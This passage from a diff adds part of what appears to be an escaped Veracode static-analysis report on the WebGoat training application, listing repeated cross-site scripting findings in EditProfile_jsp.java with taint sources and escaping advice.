+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"268\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"123\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"3\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"43\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"7\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"224\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"5\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"83\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"257\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"111\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"115\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
